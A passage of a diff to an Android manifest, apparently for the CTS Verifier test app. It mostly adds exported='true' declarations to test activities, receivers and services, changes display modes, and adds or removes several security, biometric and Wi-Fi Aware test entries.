             android:name=".bluetooth.BleCocInsecureClientTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_insecure_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1059,6 +1115,7 @@
         <activity
             android:name=".bluetooth.BleCocInsecureClientStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1092,6 +1149,7 @@
         <activity
             android:name=".bluetooth.BleCocInsecureServerTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_insecure_server_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1120,6 +1178,7 @@
         <activity
             android:name=".bluetooth.BleCocInsecureServerStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_server_start_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1153,6 +1212,7 @@
         <activity
             android:name=".bluetooth.BleCocSecureClientTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_secure_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1181,6 +1241,7 @@
         <activity
             android:name=".bluetooth.BleCocSecureClientStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1214,6 +1275,7 @@
         <activity
             android:name=".bluetooth.BleCocSecureServerTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_secure_server_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1242,6 +1304,7 @@
         <activity
             android:name=".bluetooth.BleCocSecureServerStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_coc_server_start_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1275,6 +1338,7 @@
         <activity
             android:name=".bluetooth.BleScannerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_scanner_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1303,6 +1367,7 @@
         <activity
             android:name=".bluetooth.BleScannerPowerLevelActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_power_level_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1334,6 +1399,7 @@
         <activity
             android:name=".bluetooth.BleAdvertiserTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_advertiser_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1362,6 +1428,7 @@
         <activity
             android:name=".bluetooth.BleAdvertiserPowerLevelActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_power_level_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1381,6 +1448,7 @@
 
         <activity android:name=".biometrics.BiometricTestList"
             android:label="@string/biometric_test"
+            android:exported="true"
             android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1396,68 +1464,9 @@
         </activity>
 
         <activity
-            android:name=".biometrics.SensorConfigurationTest"
-            android:configChanges="keyboardHidden|orientation|screenSize"
-            android:label="@string/biometric_test_sensor_configuration_label" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data android:name="test_category" android:value="@string/biometric_test_category_generic" />
-            <meta-data android:name="test_parent"
-                       android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
-            <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
-            <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
-        </activity>
-
-        <activity
-            android:name=".biometrics.CredentialNotEnrolledTests"
-            android:configChanges="keyboardHidden|orientation|screenSize"
-            android:label="@string/biometric_test_credential_not_enrolled_label" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data android:name="test_category" android:value="@string/biometric_test_category_credential" />
-            <meta-data android:name="test_parent"
-                       android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
-            <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
-            <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
-        </activity>
-
-        <activity
-            android:name=".biometrics.CredentialEnrolledTests"
-            android:configChanges="keyboardHidden|orientation|screenSize"
-            android:label="@string/biometric_test_credential_enrolled_label" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-
-            <meta-data android:name="test_category" android:value="@string/biometric_test_category_credential" />
-            <meta-data android:name="test_parent"
-                       android:value="com.android.cts.verifier.biometrics.BiometricTestList" />
-            <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
-            <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
-        </activity>
-
-        <activity
             android:name=".biometrics.CredentialCryptoTests"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_credential_crypto_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1478,6 +1487,7 @@
         <activity
             android:name=".biometrics.BiometricStrongTests"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_strong_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1498,6 +1508,7 @@
         <activity
             android:name=".biometrics.BiometricWeakTests"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_weak_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1518,6 +1529,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationCredentialCipherTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_credential_cipher_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1538,6 +1550,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricCipherTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_cipher_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1558,6 +1571,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricOrCredentialCipherTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_credential_cipher_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1578,6 +1592,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationCredentialSignatureTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_credential_signature_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1598,6 +1613,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricSignatureTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_signature_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1618,6 +1634,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricOrCredentialSignatureTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_or_credential_signature_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1638,6 +1655,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationCredentialMacTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_credential_mac_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1658,6 +1676,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricMacTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_mac_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1678,6 +1697,7 @@
         <activity
             android:name=".biometrics.UserAuthenticationBiometricOrCredentialMacTest"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/biometric_test_set_user_authentication_biometric_or_credential_mac_label" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1697,6 +1717,7 @@
 
         <activity android:name=".security.IdentityCredentialAuthentication"
                 android:label="@string/sec_identity_credential_authentication_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1713,6 +1734,7 @@
 
         <activity android:name=".security.FingerprintBoundKeysTest"
                 android:label="@string/sec_fingerprint_bound_key_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1724,11 +1746,12 @@
             <meta-data android:name="test_required_features"
                        android:value="android.hardware.fingerprint:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.ProtectedConfirmationTest"
             android:label="@string/sec_protected_confirmation_test"
+            android:exported="true"
             android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1741,6 +1764,7 @@
 
         <activity android:name=".security.ScreenLockBoundKeysTest"
                 android:label="@string/sec_lock_bound_key_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1752,11 +1776,12 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.LockConfirmBypassTest"
                 android:label="@string/lock_confirm_test_title"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1768,11 +1793,12 @@
             <meta-data android:name="test_required_features"
                        android:value="android.software.device_admin:android.software.secure_lock_screen" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.SetNewPasswordComplexityTest"
                   android:label="@string/set_complexity_test_title"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1784,11 +1810,26 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive:android.software.lockscreen_disabled" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".security.SecurityModeFeatureVerifierActivity"
+                android:label="@string/security_mode_feature_verifier_test"
+                android:exported="true"
+                android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_security" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive:android.hardware.type.television:android.hardware.type.watch:android.hardware.security.model.compatible" />
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".streamquality.StreamingVideoActivity"
                 android:label="@string/streaming_video"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1809,7 +1850,8 @@
         </activity>
 
         <!-- FeatureSummaryActivity is replaced by CTS SystemFeaturesTest
-        <activity android:name=".features.FeatureSummaryActivity" android:label="@string/feature_summary">
+        <activity android:name=".features.FeatureSummaryActivity" android:label="@string/feature_summary"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -1820,6 +1862,7 @@
 
         <activity android:name=".managedprovisioning.LocationListenerActivity"
                 android:label="@string/location_listener_activity"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.SET_LOCATION_AND_CHECK" />
@@ -1830,6 +1873,7 @@
         </activity>
 
         <activity android:name=".net.ConnectivityBackgroundTestActivity"
+                android:exported="true"
                 android:label="@string/network_background_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1842,6 +1886,7 @@
         </activity>
 
         <activity android:name=".net.MultiNetworkConnectivityTestActivity"
+                  android:exported="true"
                   android:label="@string/multinetwork_connectivity_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1858,6 +1903,7 @@
 
         <activity android:name=".nfc.NfcTestActivity"
                 android:label="@string/nfc_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2317,7 +2363,8 @@
             <meta-data android:name="android.nfc.cardemulation.off_host_apdu_service" android:resource="@xml/uicc_transaction_event_aid_list"/>
         </service>
 
-        <receiver android:name=".nfc.offhost.UiccTransactionEventReceiver">
+        <receiver android:name=".nfc.offhost.UiccTransactionEventReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.nfc.action.TRANSACTION_DETECTED" >
                 </action>
@@ -2335,6 +2382,7 @@
 
         <!-- Service used for Camera ITS tests -->
         <service android:name=".camera.its.ItsService"
+            android:exported="true"
             android:foregroundServiceType="camera">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.camera.its.START"/>
@@ -2348,6 +2396,7 @@
         -->
         <receiver android:name=".sensors.helpers.SensorDeviceAdminReceiver"
                 android:label="@string/snsr_device_admin_receiver"
+                android:exported="true"
                 android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
                        android:resource="@xml/sensor_device_admin" />
@@ -2358,6 +2407,7 @@
 
         <activity android:name=".sensors.AccelerometerMeasurementTestActivity"
                   android:label="@string/snsr_accel_m_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -2374,6 +2424,7 @@
 
         <activity android:name=".sensors.GyroscopeMeasurementTestActivity"
                   android:label="@string/snsr_gyro_m_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -2390,6 +2441,7 @@
 
         <activity android:name=".sensors.HeartRateMonitorTestActivity"
                   android:label="@string/snsr_heartrate_test"
+                  android:exported="true"
                   android:screenOrientation="nosensor">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2404,6 +2456,7 @@
 
         <activity android:name=".sensors.MagneticFieldMeasurementTestActivity"
                   android:label="@string/snsr_mag_m_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2417,6 +2470,7 @@
         </activity>
 
         <activity android:name=".sensors.OffBodySensorTestActivity"
+            android:exported="true"
             android:label="@string/snsr_offbody_sensor_test">
 <!--            <receiver android:name="com.android.cts.verifier.sensors.OffBodySensorTestActivity$AlarmReceiver"></receiver>-->
             <intent-filter>
@@ -2431,6 +2485,7 @@
             android:name=".sensors.RVCVXCheckTestActivity"
             android:keepScreenOn="true"
             android:label="@string/snsr_rvcvxchk_test"
+            android:exported="true"
             android:screenOrientation="locked" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2459,6 +2514,7 @@
         <!-- TODO: enable when a full set of verifications can be implemented -->
         <!--activity android:name=".sensors.RotationVectorTestActivity"
                   android:label="@string/snsr_rot_vec_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2471,6 +2527,7 @@
 
         <activity android:name=".sensors.BatchingTestActivity"
                   android:label="@string/snsr_batch_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2485,6 +2542,7 @@
         <!-- TODO: enable when a more reliable way to identify time synchronization is available -->
         <!--activity android:name=".sensors.SensorSynchronizationTestActivity"
                   android:label="@string/snsr_synch_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2497,6 +2555,7 @@
 
         <activity android:name=".sensors.DynamicSensorDiscoveryTestActivity"
                   android:label="@string/snsr_dynamic_sensor_discovery_test"
+                  android:exported="true"
                   android:screenOrientation="locked">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -2511,6 +2570,7 @@
 
         <activity android:name=".camera.formats.CameraFormatsActivity"
                  android:label="@string/camera_format"
+                 android:exported="true"
                  android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2526,6 +2586,7 @@
         </activity>
 
         <activity android:name=".camera.intents.CameraIntentsActivity"
+                 android:exported="true"
                  android:label="@string/camera_intents">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2545,6 +2606,7 @@
 
         <activity android:name=".camera.orientation.CameraOrientationActivity"
                  android:label="@string/camera_orientation"
+                 android:exported="true"
                  android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2563,6 +2625,7 @@
             android:name=".camera.fov.PhotoCaptureActivity"
             android:label="@string/camera_fov_calibration"
             android:screenOrientation="landscape"
+            android:exported="true"
             android:theme="@android:style/Theme.Holo.NoActionBar.Fullscreen" >
             <intent-filter android:label="@string/camera_fov_calibration" >
                 <action android:name="android.intent.action.MAIN" />
@@ -2597,6 +2660,7 @@
 
         <activity android:name=".camera.video.CameraVideoActivity"
                  android:label="@string/camera_video"
+                 android:exported="true"
                  android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2615,6 +2679,7 @@
                   android:label="@string/camera_its_test"
                   android:launchMode="singleTop"
                   android:configChanges="keyboardHidden|screenSize"
+                  android:exported="true"
                   android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2631,6 +2696,7 @@
 
         <activity android:name=".camera.flashlight.CameraFlashlightActivity"
                   android:label="@string/camera_flashlight_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2646,6 +2712,7 @@
 
         <activity android:name=".camera.performance.CameraPerformanceActivity"
                   android:label="@string/camera_performance_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2662,6 +2729,7 @@
         <activity android:name=".camera.bokeh.CameraBokehActivity"
                   android:label="@string/camera_bokeh_test"
                   android:configChanges="keyboardHidden|screenSize"
+                  android:exported="true"
                   android:screenOrientation="landscape">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2677,6 +2745,7 @@
 
         <activity android:name=".usb.accessory.UsbAccessoryTestActivity"
                 android:label="@string/usb_accessory_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2690,7 +2759,8 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <activity android:name=".usb.accessory.AccessoryAttachmentHandler">
+        <activity android:name=".usb.accessory.AccessoryAttachmentHandler"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
             </intent-filter>
@@ -2704,6 +2774,7 @@
 <!-- Temporary disabled b/c of incorrect assumptions in part of the test: b/160938927
         <activity android:name=".usb.device.UsbDeviceTestActivity"
                 android:label="@string/usb_device_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2719,7 +2790,8 @@
         </activity>
         -->
 
-        <activity android:name=".usb.mtp.MtpHostTestActivity" android:label="@string/mtp_host_test">
+        <activity android:name=".usb.mtp.MtpHostTestActivity" android:label="@string/mtp_host_test"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -2735,6 +2807,7 @@
 <!-- Turned off Sensor Power Test in initial L release
         <activity android:name=".sensors.SensorPowerTestActivity"
                 android:label="@string/sensor_power_test"
+                  android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2747,6 +2820,7 @@
 -->
         <activity android:name=".p2p.P2pTestListActivity"
                 android:label="@string/p2p_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2765,6 +2839,7 @@
         </activity>
         <activity android:name=".managedprovisioning.IntermediateRecentActivity"
                   android:label="@string/provisioning_byod_recents"
+                  android:exported="true"
                   android:theme="@android:style/Theme.NoDisplay">
             <intent-filter>
                 <action android:name="com.android.cts.verifier.managedprovisioning.RECENTS" />
@@ -2775,6 +2850,7 @@
         </activity>
         <activity android:name=".wifi.TestListActivity"
                   android:label="@string/wifi_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2787,6 +2863,7 @@
         </activity>
         <activity android:name=".wifiaware.TestListActivity"
                   android:label="@string/aware_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2799,6 +2876,7 @@
         </activity>
 
         <activity android:name=".notifications.NotificationListenerVerifierActivity"
+                  android:exported="true"
                 android:label="@string/nls_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2809,7 +2887,8 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <receiver android:name=".notifications.BlockChangeReceiver">
+        <receiver android:name=".notifications.BlockChangeReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED"/>
                 <action android:name="android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED"/>
@@ -2817,13 +2896,22 @@
             </intent-filter>
         </receiver>
 
-        <receiver android:name=".notifications.AutomaticZenRuleStatusReceiver">
+        <receiver android:name=".notifications.ActionTriggeredReceiver"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.notifications.ActionTriggeredReceiver"/>
+            </intent-filter>
+        </receiver>
+
+        <receiver android:name=".notifications.AutomaticZenRuleStatusReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.AUTOMATIC_ZEN_RULE_STATUS_CHANGED"/>
             </intent-filter>
         </receiver>
 
         <activity android:name=".notifications.ConditionProviderVerifierActivity"
+                  android:exported="true"
                   android:label="@string/cp_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2845,6 +2933,7 @@
         </activity>
 
         <activity android:name=".notifications.AttentionManagementVerifierActivity"
+                  android:exported="true"
                 android:label="@string/attention_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2858,6 +2947,7 @@
         </activity>
 
         <activity android:name=".notifications.BubblesVerifierActivity"
+                  android:exported="true"
                   android:label="@string/bubbles_notification_title">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2872,6 +2962,7 @@
 
         <activity android:name=".notifications.BubbleActivity"
                   android:label="@string/bubble_activity_title"
+                  android:exported="true"
                   android:resizeableActivity="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND" />
@@ -2893,6 +2984,10 @@
             <intent-filter>
                 <action android:name="android.service.notification.NotificationListenerService" />
             </intent-filter>
+            <meta-data android:name="android.service.notification.default_filter_types"
+                       android:value="2,4" />
+            <meta-data android:name="android.service.notification.disabled_filter_types"
+                       android:value="8" />
         </service>
 
         <service android:name=".notifications.MockAssistant"
@@ -2906,6 +3001,7 @@
 
         <activity android:name=".notifications.ShortcutThrottlingResetActivity"
             android:label="@string/shortcut_reset_test"
+                  android:exported="true"
             android:configChanges="mcc|mnc|locale|touchscreen|keyboard|keyboardHidden|navigation|screenLayout|fontScale|uiMode|orientation|screenSize|smallestScreenSize|layoutDirection">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2919,6 +3015,7 @@
         </activity>
 
         <activity android:name=".qstiles.TileServiceVerifierActivity"
+                  android:exported="true"
                   android:label="@string/tiles_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -2936,6 +3033,7 @@
                  android:icon="@android:drawable/ic_dialog_alert"
                  android:label="@string/tile_service_name"
                  android:enabled="false"
+                  android:exported="true"
                  android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
             <intent-filter>
                 <action android:name="android.service.quicksettings.action.QS_TILE" />
@@ -2944,6 +3042,7 @@
 
         <activity android:name=".vr.VrListenerVerifierActivity"
             android:configChanges="uiMode"
+            android:exported="true"
             android:label="@string/vr_tests">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3004,6 +3103,7 @@
         <service  android:name=".notifications.InteractiveVerifierActivity$DismissService"/>
 
         <activity android:name=".security.CAInstallNotificationVerifierActivity"
+                android:exported="true"
                 android:label="@string/cacert_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3014,9 +3114,10 @@
                     android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
             <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
         <activity android:name=".security.CANotifyOnBootActivity"
+                android:exported="true"
                 android:label="@string/caboot_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3027,10 +3128,11 @@
                     android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
             <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.KeyChainTest"
+                android:exported="true"
                 android:label="@string/keychain_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3042,10 +3144,11 @@
             <meta-data android:name="test_excluded_features"
                     android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".security.CaCertInstallViaIntentTest"
+                  android:exported="true"
                   android:label="@string/cacert_install_via_intent">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -3056,7 +3159,21 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".security.CredentialManagementAppActivity"
+                  android:exported="true"
+                  android:label="@string/credential_management_app_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_security" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestSpecificNetworkSpecifierTestActivity"
@@ -3374,7 +3491,50 @@
                        android:value="single_display_mode" />
         </activity>
 
+        <activity android:name=".wifiaware.DataPathOpenSolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_open_solicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
+        <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_pmk_unsolicited_publish"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
